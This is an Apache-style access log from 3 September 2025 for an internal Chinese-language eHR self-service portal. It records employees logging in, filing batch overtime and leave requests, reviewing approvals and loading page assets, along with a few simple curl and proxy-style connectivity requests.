192.168.11.68 - - [03/Sep/2025:08:50:28 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [03/Sep/2025:08:50:28 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.68 - - [03/Sep/2025:08:50:44 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.1501736639102743 HTTP/1.1" 200 8988 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [03/Sep/2025:08:50:44 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.1501736639102743 HTTP/1.1" 200 8988
192.168.11.68 - - [03/Sep/2025:08:50:48 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368
192.168.11.68 - - [03/Sep/2025:08:50:48 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [03/Sep/2025:08:50:53 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.1501736639102743 HTTP/1.1" 200 27500 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.1501736639102743" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [03/Sep/2025:08:50:53 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.1501736639102743 HTTP/1.1" 200 27500
100.64.0.1 - - [03/Sep/2025:08:51:29 +0800] "GET http://passport.baidu.com/ HTTP/1.1" 200 439 "-" "-"
100.64.0.1 - - [03/Sep/2025:08:51:29 +0800] "GET http://passport.baidu.com/ HTTP/1.1" 200 439
192.168.11.68 - - [03/Sep/2025:08:51:36 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4700 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [03/Sep/2025:08:51:36 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4700
192.168.11.68 - - [03/Sep/2025:08:51:45 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [03/Sep/2025:08:51:45 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.68 - - [03/Sep/2025:08:51:58 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.523708685522253 HTTP/1.1" 200 8988 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [03/Sep/2025:08:51:58 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.523708685522253 HTTP/1.1" 200 8988
192.168.11.68 - - [03/Sep/2025:08:52:00 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.523708685522253 HTTP/1.1" 200 27500 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.523708685522253" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [03/Sep/2025:08:52:00 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.523708685522253 HTTP/1.1" 200 27500
192.168.11.68 - - [03/Sep/2025:08:52:23 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4696 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [03/Sep/2025:08:52:23 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4696
192.168.11.68 - - [03/Sep/2025:08:52:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7921 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [03/Sep/2025:08:52:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7921
192.168.11.68 - - [03/Sep/2025:08:52:49 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [03/Sep/2025:08:52:49 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268
192.168.11.68 - - [03/Sep/2025:08:52:49 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [03/Sep/2025:08:52:49 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230
192.168.11.68 - - [03/Sep/2025:08:52:47 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 18384 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [03/Sep/2025:08:52:47 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 18384
192.168.40.91 - - [03/Sep/2025:08:55:25 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.40.91 - - [03/Sep/2025:08:55:25 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [03/Sep/2025:08:55:34 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [03/Sep/2025:08:55:34 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.40.91 - - [03/Sep/2025:08:55:35 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9206
192.168.40.91 - - [03/Sep/2025:08:55:35 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9206 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [03/Sep/2025:08:55:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10351
192.168.40.91 - - [03/Sep/2025:08:55:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10351 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [03/Sep/2025:08:55:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 12114 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [03/Sep/2025:08:55:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 12114
100.64.0.1 - - [03/Sep/2025:08:56:01 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:08:56:01 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
192.168.40.91 - - [03/Sep/2025:08:56:04 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 3998
192.168.40.91 - - [03/Sep/2025:08:56:04 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 3998 "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
100.64.0.1 - - [03/Sep/2025:08:56:22 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:08:56:22 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:08:57:25 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:08:57:25 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:08:59:37 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:08:59:37 +0800] "GET / HTTP/1.1" 200 439
192.168.11.51 - - [03/Sep/2025:09:05:30 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.51 - - [03/Sep/2025:09:05:30 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.51 - - [03/Sep/2025:09:05:33 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.51 - - [03/Sep/2025:09:05:33 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.51 - - [03/Sep/2025:09:05:38 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7217
192.168.11.51 - - [03/Sep/2025:09:05:38 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7217 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.51 - - [03/Sep/2025:09:05:39 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.51 - - [03/Sep/2025:09:05:39 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.11.51 - - [03/Sep/2025:09:05:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 20903 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.51 - - [03/Sep/2025:09:05:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 20903
192.168.11.51 - - [03/Sep/2025:09:05:55 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=CheckLeaveApplyTimeArea HTTP/1.1" 200 2 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.51 - - [03/Sep/2025:09:05:55 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=CheckLeaveApplyTimeArea HTTP/1.1" 200 2
192.168.11.51 - - [03/Sep/2025:09:05:57 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.51 - - [03/Sep/2025:09:05:57 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 -
192.168.11.51 - - [03/Sep/2025:09:05:58 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%88%B0+%3Cstrong%3E+%3Ca+href%3D%22%3Fscriptname%3Demp_leave_apply_search%26flowseqno%3D116438%22%3E%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2+%3C%2Fa%3E%3C%2Fstrong%3E+%E6%9F%A5%E8%AF%A2%E6%89%80%E6%8F%90%E4%BA%A4%E7%9A%84%E7%94%B3%E8%AF%B7%E5%8D%95%E8%AF%A6%E6%83%85%E5%8F%8A%E6%B5%81%E7%A8%8B.&target=iframe HTTP/1.1" 200 3276 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.51 - - [03/Sep/2025:09:05:58 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%88%B0+%3Cstrong%3E+%3Ca+href%3D%22%3Fscriptname%3Demp_leave_apply_search%26flowseqno%3D116438%22%3E%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2+%3C%2Fa%3E%3C%2Fstrong%3E+%E6%9F%A5%E8%AF%A2%E6%89%80%E6%8F%90%E4%BA%A4%E7%9A%84%E7%94%B3%E8%AF%B7%E5%8D%95%E8%AF%A6%E6%83%85%E5%8F%8A%E6%B5%81%E7%A8%8B.&target=iframe HTTP/1.1" 200 3276
192.168.11.136 - - [03/Sep/2025:09:14:14 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:09:14:14 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.136 - - [03/Sep/2025:09:14:14 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:09:14:14 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697
192.168.11.136 - - [03/Sep/2025:09:14:14 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:09:14:14 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837
192.168.11.136 - - [03/Sep/2025:09:14:14 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:09:14:14 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427
192.168.11.136 - - [03/Sep/2025:09:14:14 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026
192.168.11.136 - - [03/Sep/2025:09:14:14 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:09:14:14 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:09:14:14 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216
192.168.11.136 - - [03/Sep/2025:09:14:14 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:09:14:14 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358
192.168.11.136 - - [03/Sep/2025:09:14:14 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123
192.168.11.136 - - [03/Sep/2025:09:14:14 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:09:14:20 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:09:14:20 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124
192.168.11.136 - - [03/Sep/2025:09:14:20 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104
192.168.11.136 - - [03/Sep/2025:09:14:20 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:09:14:20 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:09:14:20 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.136 - - [03/Sep/2025:09:14:26 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926
192.168.11.136 - - [03/Sep/2025:09:14:26 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:09:14:26 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270
192.168.11.136 - - [03/Sep/2025:09:14:26 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:09:14:27 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186
192.168.11.136 - - [03/Sep/2025:09:14:27 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:09:14:27 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:09:14:27 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493
192.168.11.136 - - [03/Sep/2025:09:14:27 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:09:14:27 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588
192.168.11.136 - - [03/Sep/2025:09:14:27 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:09:14:27 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607
192.168.11.136 - - [03/Sep/2025:09:14:27 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030
192.168.11.136 - - [03/Sep/2025:09:14:27 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:09:14:27 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107
192.168.11.136 - - [03/Sep/2025:09:14:27 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:09:14:27 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960
192.168.11.136 - - [03/Sep/2025:09:14:27 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:09:14:27 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871
192.168.11.136 - - [03/Sep/2025:09:14:27 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:09:14:27 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:09:14:27 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369
192.168.11.136 - - [03/Sep/2025:09:14:27 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88
192.168.11.136 - - [03/Sep/2025:09:14:27 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:09:14:26 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.11.136 - - [03/Sep/2025:09:14:26 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
